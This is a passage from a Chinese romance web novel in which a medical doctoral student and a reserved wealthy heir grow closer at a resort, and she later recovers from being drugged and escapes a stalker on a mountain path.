某人真就甩手掌柜,为了装那点穷酸,行事这样决绝。
“皮条客挺离谱,又蒙眼又戴脚镣的。”嫌弃将后者丢进垃圾桶,翁秘书紧盯床头柜上的丝巾,“香云纱,居然浪费布料中的软黄金?甚至是最贵的黑色香云纱!”
妨碍不再有,梁奕珩抱起人直往外赶:“谢谢,去医院了。”
听着脚步与门声全消失,翁秘书踩床怒怼天花板的摄像头,拨通电话:“Hendrix,梁先生带重新昏迷的小姐去医院了,但没说是哪家医院。”
好好好,回应沉默,迅速挂断。
舒服,没让查就说明他终于可以结束这个因为猎艳团伙才必须加的该死夜班了。
临时加班导致林瀚睿回港迟了些,好在祭祖事宜仍未开始。
哄闹快活的半山别墅因他进门而瞬间沉寂,氏族众人极力收敛不适脸色,随后厅堂内只陆续出现辈分之间的礼貌称谓。
喊燥嗓子眼,林瀚睿上楼洗漱。
除了清明时节举家回深城老宅的祖祠祭拜,平日里诸多先人的忌日只安排在港岛。
年年都是,次次都是。
“林氏嫡长孙”五个字迫使他只能频繁踏进有父亲的家。
佛堂供奉伽南香,烟缭生发的气息清雅矜贵。
长辈按序在牌位前躬身请香,族中的年轻小辈虽经过父母长期耳提面命,但谨言慎行的同时,回回都忍不住多瞧几眼林瀚睿。
身形好似衣架子,极适合黑色香云纱质地的中式长衫,纽扣处配挂一串和田白玉压襟,下方缀有铂金长命锁,左腕缠三圈佛珠手串,沉香木和南红玉错落相混,九成是圆润木珠,剩余的通透红玉,尤为衬托男人苍白肤色。
右手食指所戴的翡翠绿扳指,更直接象征继承人身份。
从始至终,淡漠神情透不出几分虔诚,指间三炷香的烟丝将他萦绕,镜片后讳莫如深的眸意越加难以捉摸。
这本质上不算什么,关键是晚饭席间。
跟往年一样,林瀚睿把母亲的牌位放去长桌的尾端正中,与坐在主位用餐的父亲面对面。
哪怕多么习惯也难免膈应,众人做足筋骨,绝不打扰已逝之人,生怕整出点动静,这没妈的疯子就会再搞出离经叛道的新想法。
而随他吃饭的动作,长命锁底部垂落的铃铛轻响,活似催命符。
林瀚睿按照自己的节奏缓慢吃完饭,礼数周全地安静离席,移步桌尾怀揣了牌位,弯唇温声:“sorry,aunt,uncle,你们可以说话了。”
身后唠家常的热闹此起彼伏,他用卧室门阻隔。
摘掉玉扳指,林瀚睿躺到床,侧了身使劲环拥牌位。
硬木头硌得胸口疼了也迟钝蛮久才愿松开,他抬手痴痴抚摸上方的名字,浅瞳颤溢兴奋。
“妈咪,我有爱人了。”
11. 旧夏日
翌日。
第二十九次收到梁奕珩“身体怎么样”的消息时,梁尔璐刚到度假村正门。
高铁六十分钟加各费半小时的图书馆与出租车整套行程中,好兄弟真是替她操碎了心。
昨晚不是单纯吃饭期间低血糖晕倒,菜盘子摔地上划伤了脚腕?
出门有风险,没死算命大。
想着她就狠狠剥了两颗咸柠糖吃,更加小心注意脚下的湿滑雨路。
该说不说,宅女冒雨跨区借阅医学文献,算是为博士论文拼老命了。
稍微安顿行李,梁尔璐想起包里预备的几张创口贴都给了高铁陌生人,她重新下楼找前台借。
大堂因旅游团长队伍而略显拥挤,人影憧憧,忙不迭地移换,参差繁杂间,她被撞入眼的一袭装束吸引。
男人头戴黑色贝雷帽,薄荷绿短袖搭配款型宽松似裙的白阔腿裤。
腰间则系着更加温柔昏暖的oversize灰绿印花衬衫,并不突兀,像是本就给单调白增彩的假两件式设计,同时也提亮了腰线。
梁尔璐傻眼,第一次在合作伙伴身上见这种穿衣风格。
即将消失,她不顾腿疼,急忙追进人群,口吻偏疑惑:“林先生?”
略滞的背影缓缓转来,神情收敛了怔忪感,从眸中递出一如既往生分的礼节性微笑。
注视她。
走向她。
止步。
依旧保持与她的安全社交距离。
大约间隔四步左右。
“你没伞就出去淋雨吗?”多少算有点歧义的句子,梁尔璐欲言又止,“我,我的意思是,感觉衣服很贵,淋坏就不好了。”
“你也没伞。”
向男人闪烁着温柔笑意的目光茫然眨了一下眼,她犯懵。
嗯,但她也没说有伞的话会给这家伙啊。
好吧,她肯定会的。
梁尔璐后悔招惹这场异常主动的见面:“我又不出去,其实我没事……”
不不不,突然有事了。
及时咽回尾字尚未成调的虚音,她弱声:“你要钓鱼吗?”
他笑了。
露声的款,双眸弯深了些,愈发润润的,被薄透的眼镜片携光投来。
牙齿真漂亮啊。
啊啊啊啊啊!
一定是觉得她雨天邀请钓鱼的行为傻到没边了!
梁尔璐强忍脸颊迭起的烫热,明显感知到攥于掌心的创口贴严重打皱,她连忙将两只手都微微挪去身后:“钓,不钓,就一句话的事情,你这样保持沉默是在欺负我吗?”
“我没笑话你。”
“一般这种情况下除了觉得蠢就是可爱咯?啊——”
急急急……
该怎么撤回说出口的心里话?
她选择转过身,掩耳盗铃:“你你,你没听见!”
曲着些小幅度卷的蓬松高马尾发丝逐渐晃慢,轻触后颈的冷白肌肤,使得耳尖的两抹红清晰。
林瀚睿撇开视线,装聋且作哑,径直朝度假村前台走。
眼看男人继续沉默,她跟上。
该是亦步亦趋的甩不掉牛皮糖劲儿又惹他愉快了,当即俯眼笑看:“我只是借伞,你不用这副好奇宝宝的模样。”
可她的确着急啊,渴望知晓他的打算。
梁尔璐拢紧眉:“借伞?那你不和我钓鱼吗?”
“你那晚社恐是装的?”
“真真……真,真的!”听出调侃腔调,她的脸再次红遍,却坚强戴稳e人面具,直视他,“现在这个社牛才是装的。”
“你真棒,所以我要和你钓鱼。”
好幼稚的夸奖。
她假笑,微皱鼻子:“意思是你刚才不想和我钓鱼吗?”
“一直都是。”
都是哪个?
她忽然害怕猜测。
“我一直都愿意和你钓鱼。”
对她的态度好像没有太疏远了。
梁尔璐怔怔用目光描摹男人含笑转回的侧脸。
欺负人的坏家伙,怎么可以这样神秘兮兮地拿捏她好奇心理……逗弄啊。
但扯平了。
原来今天不止她玩钓鱼执法的套路。
“等等,我包里有放备用伞。”
毫不夸张,魂被这靓仔勾走了,忘得一干二净。
“嗯,走吧。”
回应她的声音也更加温柔了。
递过折叠齐整的透明伞,梁尔璐才惊觉双方之间隔了少许错位的空间:“等等,你走慢点。”
男人倒是直接停下,询问:“对你来说快了?这个速度,比我平时一个人的时候慢很多。”
“哦,没,我仔细想了想是还行。”
都已经这样有心迁就刚认识两三天的人了,她总不能再提腿疼,进一步妨碍他走路习惯。
“你为什么走不快?”
问得实在令她猝不及防,梁尔璐蛮好奇男人平静神情下的思绪。
示意左半只纯白老爹鞋,她忍痛:“脚脖子被碎碗片划破了。”
反正遮住患处的同色堆堆袜微透,换对角度,多少能看出创口贴的影子。
林瀚睿垂眼,凝深了目光。
这么严重?
梁奕珩啊。
真是好哥哥。
去哪家医院不说,诊断结果也不告诉他。
行。
他要让翁秘书把那副破脚镣从垃圾回收车里翻出来,烧烂,挫骨扬灰。
顺势取过她身侧手里的伞,林瀚睿一再放缓步调:“去垂钓湖要经过淋了雨的草坪,小心。”
甚至不是一般的小雨,远方被潮湿水汽浸得白茫茫,肩旁滴水的伞沿如缀珠般淅沥不断。
梁尔璐挫败:“你都不装了。既然我刚才已经被你的钓鱼执法套到了,你好歹也让我成功一下?”
早早看穿她的逻辑就算了,说声“还没准备钓竿”演着安慰安慰呗?
“sorry,但你同样成功勾起我的好奇心。”
“我也想知道你的心思,特别。”
假装听不懂男人强调渴望程度的倒装句,梁尔璐虽因此得了好心情,但平淡摆手:“啊,小小心思而已,其实根本没什么特别的,你犯不着这么期待。”
男人轻笑一声。
挺单纯的,不带什么负面感觉。
莫名宠溺?
她垂眼却睁大,稍微摇头,绝了这不切实际的想法:“本来就是……总之你等会儿就知道是什么了,前提是足够巧合。”
男人弯眉,但没接话题,视线越往远处:“那是度假村地产商为一些喜欢露营看雨听雨的受众设计,免费提供,当然,你可以换个地方。”
草坪左右各有排列五间A字型小屋,平方倒是不算小,三侧全是竖直的墙壁,凿了门的一堵墙对面,是整块倾斜延伸到地面的绿色屋顶,但二分之一的右边被开辟成玻璃窗,能瞧见室内温馨的家具布置。
她活了二十五年都没见过的新奇玩意。
“为什么要换?”梁尔璐问出口就恍然大悟,扭头悻悻闭嘴。
大雨瓢泼,湖沿遮阳伞下的桌椅肯定没法坐了。
“室内用的大理石地板,不怕水,那扇窗可以向上打开。”
“哦。”
说什么地板,无非是拐弯抹角地让她别担心孤男寡女共处一室,情况不对劲能立刻从窗口逃掉。
而且不是说地板不怕水?
那进门将湿伞随便扔地上即可,何必耐心着稳妥放入沥水收纳桶。
这种纯属无意识展现出的生活习惯,有点教养。
有点居家贤惠……
至于主动开窗,无论伪装与否,最起码这行为在此刻还挺给她安全感的。
暑气难得减弱,男人走近而带起一小阵风,挟有雨水淋湿绿植散发的草木清新。
等他坐定对面,梁尔璐从包里取出咖色印花的长方形铁盒子:“送你了,我上午刚在家做的红茶全麦司康,没吃过。”
“还有……”她神秘捏出一条白纸折的立体鱼,放到盒盖,“这是魔鬼鱼。”
“天使鱼。”
“河豚。”
“海豚。”
“鲨鱼。”
“鲸鲨。”排列好一横排,梁尔璐拿起其中某个细看,“我坐高铁时折的,可能不是很完美,因为我朋友每隔三四分钟就发消息慰问我的健康,哦,就之前你见到那靓仔。”
“记得。”
铁盒有些分量,她推远的动作又因男人平淡语气下的笑容顿住。
眨眨同样酸涩的久滞双瞳,梁尔璐轻声:“你在生气吗?”
“依据?”
“第六感?”一鼓作气递过礼物,她不知所措地缩回手。
他却是神态自若,眉眼柔软,指腹探上圆润却冷硬的铁盒边角,缓缓抬头。
收了唇角的弧度,面容平和。
“我没感情经历,但听说不建议在爱人面前提起其他男人。”
“我们并不是爱人关系,所以我没生气。”
对视的沉默中,乱跳的落雨声变响亮一些。
真就是这个道理,梁尔璐回神,逻辑自洽了。
玄妙的第六感果然不如理性。
“OK,你用这个装鱼。”收拾出透明化妆包,她干脆凑向前倚靠着桌子,服务周到地埋头帮放折纸,“那开始玩游戏吧,我说两句话,你猜言下之意。”
想也知道雨滴正将湖水打得飞溅,愈发狼藉。
“Rain cats and dogs。”
“我的头发湿透了。”
装完鼓囊的一袋,她抬眼笑:“好了,我再解释一下,英文是指倾盆大雨,头发湿透么,因为我的自然卷发质在潮湿天气里会严重毛躁飞翘,本来是让人羡慕的天生波浪卷,现在单纯炸毛得丑,然后……”
“你快猜猜看!”
屋外大雨如注,丝雾如遮覆视野的白纱,梁尔璐洋溢高昂兴致的一双瞳晶亮,林瀚睿被闷湿环境中的这份热烈惊愣。
“我猜是……”
“It rains cats and dogs。”
“I'm a little soaking mouse。”
“Here wet with a blanket of rain。”
“And I dream of you。”
“如果没猜错,你的言下
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之意是想让我知道一件事。”
“你在想我。”
梁尔璐怔住,绕了些弯才反应着男人在念英式发音,抑扬顿挫的音调韵律感分明,慢条斯理的绅士气质扑面而来。
这不就巧了吗?
她低头盯自己手机息屏屏幕上的音乐播放栏——
【fish in the pool】
“不是?这也行?这也行啊!”
四句歌词的翻译重现在脑海。
真这么巧合,两个人听过同一首歌?
早知道就把手机倒扣在桌面,不给他参考答案了。
“开卷考是吧。”梁尔璐太服气,眼看男人特别乖巧地点头,她更加脸红,双手捂住发热的耳朵,“不是不是!啊不对,是……我在想你,是这样没错!但我想你是因为一直觉得你不懂‘林北’这个梗真的很奇怪,你你,你说英文好好听!”
“不像老鼠,你像我养的猫,炸毛也很可爱。”
男人这次把夸她的可爱说出口了。
她赶紧转身,躲去另一侧椅子扶手,避开他浅淡却勾引深陷的笑容:“听不见听不见!”
几秒后原路返回,对按弄手机的男人小声:“林先生,我想回房间洗头了。”
“好。”
明明是她的伞,却屡次没机会碰,梁尔璐只能主动提出帮捧甜品盒和一袋鱼。
透过白浓雨幕,她隐约见个年轻身影走近,伴随声“儿子”。
身旁被喊的男人则纠正:“我儿子,一起出差实习的前同事,这几天结束了跟进的度假村项目,刚才打算离开。”
“对,但我看他还没上车,那靓女你说当爹的能不担心吗?连猫都担心,给,这么大的雨,我要先溜了。”
“这两样带回去再走。”
“我?”双手一空,梁尔璐迟疑接过他朋友单肩背着的灰包。
到她怀内,从中突然冒出一团油亮的黑色。
“你可以养猫吗?我只养流浪的中华田园黑猫,其他都送救助站,所以家里不止她一个黑崽。”
“我?”她懵得狠,瞅看猫咪,重复反问。
“是你。”林瀚睿微微打量梁尔璐凝滞的五官,稍加转身,抬手轻顿两秒,换了方向去轻抚软茸的猫头,“她叫荔枝,水果猫。”
“那要是叫红茶全麦司康,算甜品猫?”
“我有其它名字的甜品猫,饮品猫也有,酒水猫、蔬菜猫、海鲜猫、调料猫,我胃不好,都用我不能吃或只能少吃的忌口食物命名,全麦面包还算养胃,所以pass你做的甜品,荔枝和荔枝酒归在后者范畴内。”
莫名觉着男人垂眼爱猫,认真解释的模样沾些孩子气,梁尔璐寻思他脸色总是白得病态,体温低凉,果然是生了难缠的疾病。
草叶间的水花乱溅。
在倾盆大雨冲刷的白茫空间中,男人富有层次感的衣服清新惹眼,是不容忽视的装点。
但雨还得大一点,才能弥出浓雾般,彻底盖住他这抹色彩。
思绪胡乱作祟,梁尔璐睁大眼。
她对自己的私藏欲感到震惊。
是无所遁形的渴求程度。
不由地,她将头埋低更多,视线却直直对上猫的一双凌厉竖瞳。
怔神的同时,耳机内几句歌词伴随轻快的圆舞曲节拍,迅速响过。
天呐。
她怎么可能不是大雨中逃窜的老鼠?
而且,她被猫咪抓住了。
如同歌曲所唱,夏天会结束。
而她生活的城市是出了名的四季如夏。
仿佛永无终止。
所以她讨厌夏天。
但这一个夏日,像是特意下了很大功夫,偏要让她爱上。
*
没问垂着脑袋的人为什么惊讶,林瀚睿攥紧些伞柄,往前走。
除了颈间的不规则双层珍珠项链,再无其它首饰,吊带的白色比雪肤更柔暖,棕黄A字牛仔短裙小幅度开叉,略微超过裙摆的孔雀蓝毛衣开衫,版型宽松且质感粉糯,二者的撞色搭配合理。
他瞅自己扎系腰间的衬衫。
蓝黄相混,是绿。
“流泪薯条小姐。”摘了贝雷帽,他安去身边人发顶,“给荔枝留一样爸爸的东西做纪念。”
察觉是她发布反向代购单子的账号ID,满心害羞之余,也身为搞笑女,梁尔璐贯彻到底:“林北先生,我头发梳这么高,再多个帽子叠叠乐,奇怪死了……”
五指揪牢残留温热的帽沿,她率先跨进度假村,转身见男人正低了视线收伞,即将抬眼。
仅仅多愣半秒,她就被盯上了。
心悸。
不用大费周章地诊脉,便能清楚这一身体异常。
眨眼的频率却笨拙。
男人温柔衔笑,熟识般亲近。
注视她。
走向她。
止步。
一步之遥。
听觉还算灵敏。
他说——
“这把伞湿透了。”
熟悉的两个字回荡在耳里,甚至变响。
梁尔璐迟缓张唇:“所以你也想我。你为什么想我?”
“分别之后,是再见。”
12. 旧夏日
黏黏糊糊的暧昧感。
她并不讨厌。
可惜好感这东西很玄,她要继续研究出发点究竟是兴趣、爱情中的哪一个。
今天倒是算了,有些隐隐作痛的头晕,浪般地涌,再花不动脑筋。
梁尔璐跨过相距的一步,站去男人身侧。
“那你晚点再想我。”但凡沾惹了半点潮湿的自然卷头发,都会令她犯恶心,“和荔枝多待会儿吧,我得先洗头,但自然卷洗护特别慢。”
林瀚睿这次依旧没浪费时间推脱,上楼安静抱猫将近个把小时,水声又停了三十分钟左右,却还不见梁尔璐出房间。
翻聊天记录,他早八百年给梁奕珩发送的“你还没说医院诊断结果”照旧不被回应,通话一概无人接听。
敲门多次都不顶用,林瀚睿琢磨着搁门框探了探,发现梁尔璐神态放松,被褥裹得严实,正窝床熟睡,干发帽与金色瓶装的护发精油留在床头柜。
他揉黑猫脑袋,让收敛嗲声嗲气的叫唤。
越是靠近,室内花果甜调之中,轻微辛辣的清冽气息越分明,逐渐也流露些宁静温柔的雪松木质香。
呼吸声小到几不可闻,胸膛处悸动丛生,染上林瀚睿微皱的眉,手指却够不着梁尔璐稍触棉被的鼻子位置,他没辙,只能凑过身细听。
肆意散落在酒店雪白床上四件套的乌黑发量爆炸,丝丝融入呼吸的精油软香,包围得他心态也爆炸。
更何况半途与她四目相对。
哪怕仅是迷糊睁眼。
林瀚睿瞬间站起,后退。
手骤松,伸爪子大胆摸她脸的罪魁祸首猫咪轻巧跳开,尾巴轻扫男主肘弯内侧的皮肤,敏感异常。
视线从门边乖巧坐着揣手手的黑猫挪回,梁尔璐缓缓坐靠床背,望向平淡如常的男人:“你,有事吗?”
“我在外面等了快两小时,怕你一个人出事。”
“这么久?”
“啊对,我洗完用了十几二十分钟的干发帽,对不起,我睡着了。”
她明显失焦的双眼迟钝怔了八秒。
林瀚睿确定没数错:“雨停了,阴天风大,空气湿度依然强,午饭给你点外卖。”
刚迈半步,他又听身后泛溢难受的哼声。
“好闷,洗的时候有点呼吸不上来,我觉得夏天待浴室这样很正常,但现在还是,而且我总想睡觉,恶心,没胃口,你留下吧,万一能送我去医院。”
根本来不及捞住下床时软脚虾似摔倒的梁尔璐,他面露疑惑。
以头抢地就算了,此刻披着浓密长发,女鬼般步履踉跄地朝向他,声线发虚:“我也要出去,死了,你才看得见。”
鬼使神差的,他搭手,拦腰抱起人:“抱歉,就到沙发为止。”
“嗯?哦……哦。”压缓吃惊引起的短暂气促,梁尔璐借助捋头发来简单捂脸,声音分贝一低再低。
“疼吗?”
正愁没办法再遮挡红热的面颊,男人这温柔问询的两个字宛如冰块,火速解了燃眉之急。
梁尔璐当即领悟他的言下之意,连忙捂额头,轻喃回应:“疼的。”
视线偏转,她瞧见猫咪仰眸而来,紧随他们身旁的猫步优雅,嗓音娇甜。
糟糕。
她刚才也是个撒娇的嗲嗲小夹子。
挨蹭着沙发绵软布艺的丝绒感,梁尔璐强壮镇定地往怀里环过靠枕,暗中揪紧腰侧的睡衣薄料。
好烫。
男人那双手明明是发凉的。
她接过盛有温水的玻璃杯,而这种普通温度也令指腹微颤:“谢谢,我……我在楼下就不舒服了,所以利用猫留住你。”
“你并没有隐藏生病状态的本事。”
料想到男人早已看穿,梁尔璐凝视他温静的脸容:“你擅长?”
她可是学中医的,就算不使全套的望闻问切,照样能发现端倪。
“很少示弱。”
“那你觉得我娇气?轻浮?在一个认识没几天的异性面前示弱。”
“我的荣幸。”
显而易见,她是无理取闹的一方,也不知他内心觉得被冒犯与否,但这毫不迟疑的态度?
她又向来看不透这人淡薄的眼眸,色泽如琥珀通透,却呈现蜜蜡半透不透的厚重感。
总能带给她欲言又止的错觉……
暗暗无语之际,梁尔璐发现猫跳上沙发,随即俩爪子不停交替梳玩她垂到腰的头发。
捧住数绺将要舔时,站在地毯的男人俯身将其抱走,使了些力气牢牢按住怀里的乌黑猫头,宠溺中稍稍严肃:“不能咬她的头发,记住了吗?”
猫咪对峙的呛声没再嗲,梁尔璐忍俊不禁:“没关系,比不过潮湿天气的杀伤力。”
“你多少吃点饭?”
“好吧,但我自己点楼下餐厅的,坐,你也坐。”
向她张开的双臂给过了猫,林瀚睿解锁手机。
已有一条消息,对面仍在语音输入。
【先天鼻腔狭窄,不影响日常生活版,加上意识昏迷,医院不给洗胃,导泻也伤器官,我就没让做,不过她身体素质好,体温和心率都比正常成年人稍高,说明代谢速度快,采取保守治疗,居家注意观察,及时检查血常规这种就行,问题是她失忆偷偷跑了,没说去哪。】
【我得赶航班回海西,顾不着】
他只能打字——
【太子爷下滨澜微服私访被她偶遇,没掉马版】
秒收了一句“6,收收你暗爽的味儿”。
那他在梁尔璐眼前是收放自如。
林瀚睿坐去沙发扶手旁,余光瞥见靠另一侧扶手的她瞅来,以及双方之间的距离,抱怨:“我是蛇吗?”
知晓她意思,但他实话实说:“我是蛇。”
缠绕着阿斯克勒庇俄斯之杖的蛇。
治愈之杖,杖身代表人的脊椎骨。
他只是依赖木杖,获得新生的蛇。
可他们并非爱人关系,他没资格对梁尔璐予取予求。
无法向她示弱。
甚至,说他是伊甸园之蛇也不为过。
日夜引诱自己,终究难以克制,在触碰一颗他心知肚明的禁果。
“蛇……你都抢着做呢?”梁尔璐属实疑惑,“算了,等我点完菜给你。”
虽时值夏季,而食欲消减严重得她费解,选完两道清淡的菜色,她递手机。
林瀚睿专注于土地竞标会的相关文件,怎知近处传来沙发的下陷感,源自躺倒
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的梁尔璐。
他招呼了懒在茶几的猫,搁人耳畔接连喵声,眼见她醒了就立刻赶开黏人的毛团子:“你又睡着了,要去医院吗?”
不理解可爱小猫凶巴巴的叫嚷,梁尔璐拍了脸清醒一些:“你等我把个脉啊。”
“不用去,奇怪呐,低血糖是会导致嗜睡,但我这又不是低血糖的脉象……梁奕珩,梁奕珩!你死定了!”
她抓起被压身下的手机,对男人虚扶的动作摆手示意没关系:“梁奕珩,我昨天真是低血糖发作?我什么德性自己不清楚?再怎么饮食不规律也从不低血糖,而且昨晚的事我没半点印象,你绝对瞒我了!说话!”
扫过聊天框内的一行“我说了”,林瀚睿神色冷静。
十九秒后,他往沙发搁手肘,五指安逸支了下巴,弯唇笑看叉腰站地毯的梁尔璐拔高分贝。
“敢给姑奶奶吃三.唑.仑?哼,牢底坐穿的脏东西!亲爱的珩仔,辛苦你昨晚救我了,回头亲死你!”
锁紧眉,林瀚睿短短瞥视收到的“天地良心,我没抢功劳,重点是你别茶她”。
挂断电话,梁尔璐稍望窗外阴沉的云层,转身见男人抬眸来,面容带抹好整以暇的笑意:“你之前说单身,是骗我?”
“呃,不不是!我真……真的单身,真的。”她手足无措地傻站着,愣愣摇头。
完了,与好兄弟在错误的场合犯贱。
若是环境再有条件些,她高低得表演一个滑铲下跪。
但此刻只能坐去沙发旁的绒毯,稍微蛄蛹靠近些:“其实我跟他是……”
话遭掐断,怔多过惊。
梁尔璐讶异男人双手锢住她脑袋的动作,直直与眼前沉静的眸子对视:“是……”
第六感卷土重来。
他在生气。
本就有些呼吸短促,她又不敢出大气。
“呼吸。”幸亏男人缓声并松了手,视线略移,轻巧落向茶几桌面那空无一物的果盘。
终于呼出吐息之际,他却再次欺身上前,捂来口鼻的五指阻隔了大部分她急于呼入的充沛氧气,身体后仰,及时被他轻托后脑勺的的另一只手揽回。
“你的呼吸困难是因为通气过于频繁,需要这样,控制。”
他控制得够久了。
渴求得到。
却不能。
“是我教的。”
“你记住吧。”
唇瓣离开一些她泛红的耳廓,入眼是她皱眉闭眼的直观难受,轻弱嗓音由此破碎。
“你别生气,我没骗你。”
禁果不能吃,也不能碰。
等呼吸转为平缓,林瀚睿撤远被蒸热的五指,略微收力之间,嶙峋腕骨愈发清矍。
随后扯纸巾,抚抬她下颌,慢条斯理拭去脸颊的湿意:“嗯,我不生气了。”
“真的吗?”梁尔璐当即抓上男人暂放在膝盖的手,低头惊觉自己的手指同样沾惹了潮气。
她赶忙缩退,睁大眼凝看他一片狼藉的掌心。
确定脸红得能滴出血,梁尔璐满脑子只剩逃念。
男人却倏地攥扣了腕部,温柔擦起她颤悠手指。
嘴角拈有上扬的小幅度:“待在这里。我说过了,怕你一个人出事。”
13. 旧夏日
抵住腕骨的力道明显更收紧些,纸巾半湿柔软,而所到之处难免微妙的粗粝感。
男人微微低头,凝了眸,指间的动作细致入微:“其实你没必要这么紧张地向我解释。”
梁尔璐寻思毫无挣脱胜算,破罐子破摔地演起e人:“出门在外,身份是自己给的,骗子?绝对不行!何况我本来就没骗你。”
却意外有效。
她总算能后退两步,咬唇止慌,望他一言不发擦净着自己掌心的坦然模样:“那我就去医院了,今天麻烦你这么久,谢谢啊。”
“直接120。”
谢邀,这能直接要了她的命。
“这么大张旗鼓呢……我社恐。”
“我为i做e,送你上救护车。”男人精准将纸团投进垃圾桶,抬眼。
“你也是i人!”
“INTJ。”
梁尔璐顿时来了兴致,头脑风暴,忙着回忆紫老头这个人格的特质。
逻辑性强,洞察力细,执行力高,城府深,野心大,演技绝……
稍稍打量他染笑的五官,纯良的观感掩盖了部分渣苏气质。
耳边是他质感分明,成熟从容,而略带深情磁性的沉稳声线:“腾先度假村,病人昨天误服三.唑.仑,今天头晕恶心,呼吸急促,严重嗜睡,目前状态清醒但不佳。”
她恼,掐在通话结束时分:“你阴暗!玩弄人心!研究我看透我操纵我!为达目的投其所好!假温柔!蛇!我怕蛇!”
男人显然听得受用,气定神闲坐于沙发,整一副就是吻合INTJ的上位者姿态:“你倒是也擅长观察人类,不过……”
故意停顿的空隙中,他的笑意转浓:“我对你是真温柔。”
“闭嘴,你愿意在我身上浪费时间精力,说明有利可图。”
梁尔璐气鼓鼓跑出房间,可脚步快些便影响到呼吸,她被迫轻声咳嗽,无视身旁一起等电梯的男人。
“我只图你给的情绪价值,但不劳烦你一辈子。”
“我?”
就她这平平无奇的德性,能产生什么情绪价值?
吵架氛围尴尬,梁尔璐也选择闭嘴。
大可不必真送她下楼。
瘦长高个儿的存在感异常强烈,她眼观鼻,鼻观心,拼命冷静。
走向救护车之际,男人久违出声:“再见,合作伙伴。”
她脑海中霎时回响他说过的“分别之后,是再见”。
原来这句暧昧话,出发点是合作伙伴啊……
这坏男人可真会欺负她。
但又好心引导她发现他危险的性格。
本质上完全可以继续伪装。
*
度假村总经理焦头烂额。
最近是一年一度承办、接待五天四夜“百校青年英才滨澜行”研学活动的关键日子,集团少爷神出鬼没,总例行挑其中某天来观察。
他待电梯内紧急召开视频会议:“这么多年,小老板第一次订客房住下,究竟是有哪个部门出了问题?给你们二十分钟,一一排查报告!”
停到该敲的房前,他压惊。
开门的男人一身纯黑睡袍,慵懒冷淡:“张经理。”
他琢磨自己还没先称呼这位太子爷,不由受宠若惊:“是是……我是,林总,这是为您准备的午餐。”
对方赏脸似地短短瞥了眼餐车,转身回屋,陈述的语气稀松平常:“度假村上下暂时没问题,既然已经见了我这张脸,还望张经理以后贵人多忘事一些。”
两个目的全被轻描淡写戳穿,经理悻悻,搁沉默中摆放饭菜,完事则退远三步,确保没半丝唾沫星子能扰了小老板食欲。
“感谢林总的肯定,我们会再接再厉,那您请用饭,我就不打扰了。”
脚步虽有条不紊,但一心逃跑,怎知身后蓦地传来“辛苦”,经理险些左右脚相绊。
锁舌响落,室内复静。
林瀚睿心生愉悦,唇畔无声的笑意恶劣。
他拿筷子挑开肉片上的芹菜,但始终没夹起这点荤腥。
挑食算一个,同时也是……
甜果子吃多了,其余的都寡淡。
*
雨后天光寡淡,风过则留些湿气。
血常规各项指标的数值均正常,梁尔璐服了抗嗜睡的药物,决定趁阴天爬山,促进身体的新陈代谢。
从前本科时,她参加过上山义诊,照顾居住在滨澜市这座山的老人家们,眼下正好再去探望。
山路铺砌了石阶,远处独身女性的背后跟着鬼祟男,紧张之余发现二者是情侣关系,吵了架而已。
梁尔璐恢复步调,略微抿唇。
对嘛,合作关系罢了。
其实她刚才没资格与林先生闹脾气的。
不过这也是他自己愿意惯着咯。
正打算深想,身后“啪嗒”作响。
来自掉地的手机,而几步以外站了个陌生男人。
心底的呼救欲望猛烈,梁尔璐却察觉惊到失声,眼泪夺眶而出。
朝上的手机屏幕显示相册界面,最新的连续几排照片,无一不是她在度假村和这里的内容,偷拍角度明显,额外也有不少其他女性的。
男人前进一步,神色恶狠:“B.S.”
“但你看到这些就更应该了。”
虽没听懂前后两句的递进逻辑关系,但她立刻迈腿,想往上跑求救却瞬间停住。
耳边充斥争吵声。
说不定是同伙,是故意提前安排了骗取她信任的圈套。
被偷拍男拽撞去粗糙树干的同时,梁尔璐忍痛连按手机侧边电源键,给紧急联系人发送SOS短信。
管什么见鬼的过当防卫,她使劲将出诊包砸进他眼睛,因此跌倒一旁的男人忽然嚎叫。
脚踝那边的伤口本就疼,她稍微稳住打软的双腿,瞥见男人摔时撑地的手被草丛中隐没的捕兽夹死死嵌住,淋漓鲜血迸溅周围,甚至殃及她脸颊。
颤抖捡起他犯罪的手机,梁尔璐不由分说跑下山。
出门没看黄历,受重伤的男人竟然还追在身后……
临近山脚,她泪眼朦胧,强行靠短促的呼吸续命,模糊看着对面公路停了辆后座玻璃全黑的轿车,从副驾驶出来个高大的西装男,直直走来。
她及时转道,往安全的另侧逃,回头却发现车尾朝她的车子正往这方向掉头。
“客人!我是度假村的经理,我老板看你在山路哭着跑,怀疑出事了。”
他调转车头,瞅眼后视镜:“林总,我确定她是客人,问前台借过创口贴,港星气质让我印象深刻,后边那男的更熟悉,研学活动成员,因为是国内顶级双一流大学的,所以能通过每届活动的审核。”
也不知小老板听没有,只是神色偏冷地看向车外那女人。
“拦。”
太子爷难得出了声,但话落就开启前后两排座舱之间的隐私玻璃。
经理不敢慢,轻易在女人面前停车挡路。
梁尔璐急急后退,转身远望,惊觉偷拍男已由西装男彻底地武力控制。
遭遇过神经病,她五指下意识按去车后盖,树木导致的伤口严重扯痛。
缩手期间,稍瞧乌漆嘛黑的窗玻璃,车尾牌照属于粤z,与她父母的豪车源自同品牌。
可辨析的警车铃渐近,梁尔璐才收敛一些戒备神情,撒腿跑去。
任务完成,经理暗暗舒气,偶然瞥后视镜,他察觉升起的隐私玻璃居然变成了不透明模式。
而前方
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的女人面部血迹略干,睡衣裤脏污,耷拉着拖鞋,已改为一瘸一拐的极慢步伐,红湿了双眼,时不时疑惑地回头望来。
没再纳闷,他咽口唾沫。
总感觉他刚才夸姑娘漂亮这事儿,莫名其妙就非常有觊觎太子爷私人宝贝的不知好歹劲儿。
毕竟不是他的车,这位随身带保镖、司机的爷却特意喊他开。
原地停得久了,经理总算听见他通过设备传话——
“开车,去警局附近。”
*
梁尔璐始终能频繁回忆起黑色豪车从她身旁驶过的瞬间。
无论援助,亦或离开,都迅速得毫不拖泥带水。
警察以为她发愣是出于事故后的心有余悸,温声细语安慰。
她缓缓回神:“然后我就遇到这位保镖。”
“当时我和少爷正好路过,他怀疑这位小姐可能有危险,让我下车查看,但少爷工作忙,建议你们通过电话做笔录。”
“在这留个号码。”警察推过一张纸,转瞅旁边委屈的猎户,“你呢?在景区的山里私放捕兽夹?”
“那不是正好救了这靓女吗?”
仍想教育时,他低头关注手机新消息,更是锁紧眉头。
“小姐,犯人拒不配合调查,在医院夺刀自杀,抢救无效。”
